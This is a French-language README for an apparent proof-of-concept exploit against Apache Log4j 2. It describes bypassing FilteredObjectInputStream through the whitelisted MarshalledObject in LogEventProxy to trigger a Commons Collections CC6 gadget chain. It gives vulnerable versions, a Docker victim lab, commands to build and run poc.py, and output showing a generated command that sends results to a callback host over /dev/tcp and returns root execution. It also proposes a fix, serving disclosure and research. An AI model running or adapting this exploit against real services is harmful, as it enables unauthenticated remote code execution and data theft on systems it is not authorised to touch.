
RCE pré-authentification via contournement de FilteredObjectInputStream MarshalledObject dans Apache Log4j 2
RCE pré-authentification sur tout service Java qui désérialise des LogEvent via le FilteredObjectInputStream de Log4j. Aucune information d'identification requise.
Signalé comme problème GitHub #4255 le 24 août 2026.
Log4j fournit FilteredObjectInputStream (FOIS) comme wrapper de désérialisation sûr. Il remplace resolveClass() par une liste blanche afin que seuls org.apache.logging.log4j.*, java.lang.*, java.util.* et quelques classes explicites puissent passer.
L'une de ces classes explicites est java.rmi.MarshalledObject :
// SerializationUtil.java:81
public static final List<String> REQUIRED_JAVA_CLASSES = Arrays.asList(
"java.math.BigDecimal",
"java.math.BigInteger",
"java.rmi.MarshalledObject", // <-- le problème
...);
MarshalledObject.get() crée un nouveau ObjectInputStream simple en interne. Aucun filtre. Tout ce qui est encapsulé dans un MarshalledObject se désérialise sans aucune restriction, contournant complètement la liste blanche.
Log4j lui-même fait cet encapsulage. LogEventProxy (le proxy de sérialisation pour chaque LogEvent) stocke le message de l'événement dans un champ MarshalledObject<Message>. Lors de la désérialisation, il appelle marshalledMessage.get() pour récupérer le message. Cet appel crée le flux non filtré. Fin de partie.
Le filtre ne voit que les descripteurs de classes de niveau supérieur dans le flux :
// FilteredObjectInputStream.java:66-72
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String name = SerializationUtil.stripArray(desc.getName());
if (!(isAllowedByDefault(name) || allowedExtraClasses.contains(name))) {
throw new InvalidObjectException(
"Class is not allowed for deserialization: " + name);
}
return super.resolveClass(desc);
}
FOIS vérifie LogEventProxy (package log4j, autorisé), MarshalledObject (dans la liste blanche) et byte[] (primitif). Tout passe. La chaîne de gadgets CC6 est cachée dans MarshalledObject.objBytes sous forme d'octets bruts. FOIS ne la voit jamais.
Quand LogEventProxy.readResolve() s'exécute :
// Log4jLogEvent.java:1265-1274
private Message message() {
if (marshalledMessage != null) {
try {
return marshalledMessage.get(); // ObjectInputStream non filtré
} catch (final Exception ex) {
// ignore-moi
}
}
return new SimpleMessage(messageString);
}
marshalledMessage.get() crée un ObjectInputStream simple, la chaîne CC6 se déclenche et la commande s'exécute. Le bloc catch avale la ClassCastException lorsque le résultat du gadget n'est pas un Message, donc le serveur répond normalement. Aucune erreur, aucune entrée de journal.
Pour comparaison, ObjectMessage le fait correctement :
// ObjectMessage.java:132-136
private void readObject(ObjectInputStream in) throws ... {
in.defaultReadObject();
obj = SerializationUtil.readWrappedObject(in); // crée un flux interne FILTRÉ
}
LogEventProxy devrait utiliser ce même modèle mais ne le fait pas.
Attaquant Cible (récepteur basé sur FOIS)
| |
| HTTP POST /log |
| Corps : LogEventProxy sérialisé |
| ------------------------------------------> |
| |
| FilteredObjectInputStream.readObject()
| ├── resolveClass(LogEventProxy) ✓ package log4j
| ├── resolveClass(MarshalledObject) ✓ liste blanche
| └── resolveClass(byte[]) ✓ primitif
| |
| LogEventProxy.readResolve()
| └── message()
| └── marshalledMessage.get()
| └── new ObjectInputStream(objBytes) AUCUN FILTRE
| └── HashSet.readObject() CC6
| └── TiedMapEntry.hashCode()
| └── LazyMap.get()
| └── ChainedTransformer
| └── Runtime.exec(cmd)
| |
| HTTP 200 OK : "log event" |
| <------------------------------------------ |
Le serveur répond 200 et traite l'événement comme si de rien n'était.
L'astuce consiste à placer la chaîne CC6 dans MarshalledObject.objBytes sans qu'elle ne se déclenche prématurément.
GadgetMessage implémente Message et remplace writeReplace() pour renvoyer le gadget CC6 :
Log4jLogEvent avec GadgetMessage comme message.LogEventProxy.writeObject() appelle marshall(message), qui alimente GadgetMessage dans le constructeur de MarshalledObject.GadgetMessage. writeReplace() se déclenche et substitue le HashSet CC6.MarshalledObject.objBytes contient la chaîne CC6. GadgetMessage n'apparaît jamais sur le fil.GadgetMessage est uniquement côté attaquant. Il n'a pas besoin d'être sur le classpath de la cible.
| Composant | Vulnérable |
|---|---|
log4j-api (FilteredObjectInputStream) | 2.11.0 à 2.24.3 |
log4j-core (champ MarshalledObject de LogEventProxy) | 2.8.0 à 2.24.3 |
La cible a également besoin d'une bibliothèque de gadgets sur le classpath. Cette preuve de concept utilise Commons Collections 3.2.1 (chaîne CC6).
Prérequis : Java 11+, Maven, Python 3.10+, Docker (uniquement pour le labo victime)
Construire et démarrer la victime :
cd lab
docker build -t fois-bypass-lab .
docker run -d --name fois-lab -p 8000:8000 fois-bypass-lab
cd ..
Construire l'exploit (ou laisser poc.py le faire au premier lancement) :
cd exploit && mvn package -q -DskipTests && cd ..
Exécuter :
# --lhost est votre IP accessible depuis la cible
# pour le labo Docker sur le même hôte, utilisez l'IP du pont docker0
python3 poc.py -u http://127.0.0.1:8000 --cmd id --lhost 172.17.0.1
Sortie :
[*] Log4j FOIS MarshalledObject Bypass + CC6 RCE
[*] target: http://127.0.0.1:8000
[*] command: id
[*] callback: 172.17.0.1:9999
[*] generating payload ...
[gen] command: { id; } 2>&1 | bash -c 'exec 3<>/dev/tcp/172.17.0.1/9999; cat >&3'
[gen] payload: 2619 bytes
[*] payload: 2619 bytes
[*] listening on 0.0.0.0:9999
[*] POST http://127.0.0.1:8000/log
[+] HTTP 200 - payload deserialized
[+] response: OK: log event
[+] RCE output:
uid=0(root) gid=0(root) groups=0(root)
Port de rappel personnalisé :
python3 poc.py -u http://127.0.0.1:8000 --cmd "cat /etc/hostname" --lhost 172.17.0.1 --lport 4444
mvn package dans exploit/ pour compiler PayloadGenerator et récupérer les dépendances. Ignoré lors des lancements suivants.java -cp exploit/target/... PayloadGenerator <cmd> sur l'hôte. Produit un LogEvent sérialisé en base64 avec CC6 dans un MarshalledObject.--lport (9999 par défaut) pour recevoir la sortie de la commande./log de la cible./dev/tcp.log4j2-rce/
├── README.md
├── poc.py # script d'exploitation
├── exploit/ # attaquant (s'exécute sur l'hôte)
│ ├── pom.xml # log4j 2.24.3, commons-collections 3.2.1
│ └── src/
│ ├── PayloadGenerator.java # CC6 + MarshalledObject + LogEvent
│ └── GadgetMessage.java # Message avec writeReplace()
└── lab/ # victime (Docker)
├── Dockerfile
├── pom.xml # log4j 2.24.3, commons-collections 3.2.1
└── src/
└── HttpLogReceiver.java # endpoint HTTP utilisant FOIS
lab/ est la victime. HttpLogReceiver est un récepteur de journaux HTTP utilisant FilteredObjectInputStream. Configuration par défaut, aucun indicateur de débogage, aucune faiblesse artificielle. Commons Collections sur le classpath comme dépendance transitive réaliste.
exploit/ est l'outillage de l'attaquant. PayloadGenerator construit la charge utile sérialisée sur l'hôte. Ne touche jamais au conteneur victime.
java.rmi.MarshalledObject de REQUIRED_JAVA_CLASSES.MarshalledObject<Message> dans LogEventProxy par un byte[] sérialisé via SerializationUtil.writeWrappedObject() / readWrappedObject(). C'est le même modèle que ObjectMessage utilise déjà correctement.CC 3.2.1 et antérieures : InvokerTransformer se sérialise librement. CC6 fonctionne tel quel.
CC 3.2.2 (nov. 2015) : Ajout d'un garde de sérialisation dans InvokerTransformer qui bloque la chaîne sauf si org.apache.commons.collections.enableUnsafeSerialization est true.
Le contournement du filtre existe indépendamment de la version de CC. Le garde de CC est une défense en profondeur au niveau du gadget, pas un correctif pour le filtre cassé. Toute autre bibliothèque de gadgets non protégée (Groovy, BeanShell, Spring Beans, etc.) permet la même attaque.
docker rm -f fois-lab
docker rmi fois-bypass-lab
Pour les tests autorisés uniquement. Obtenez une autorisation écrite avant d'exécuter ceci contre quoi que ce soit qui ne vous appartient pas.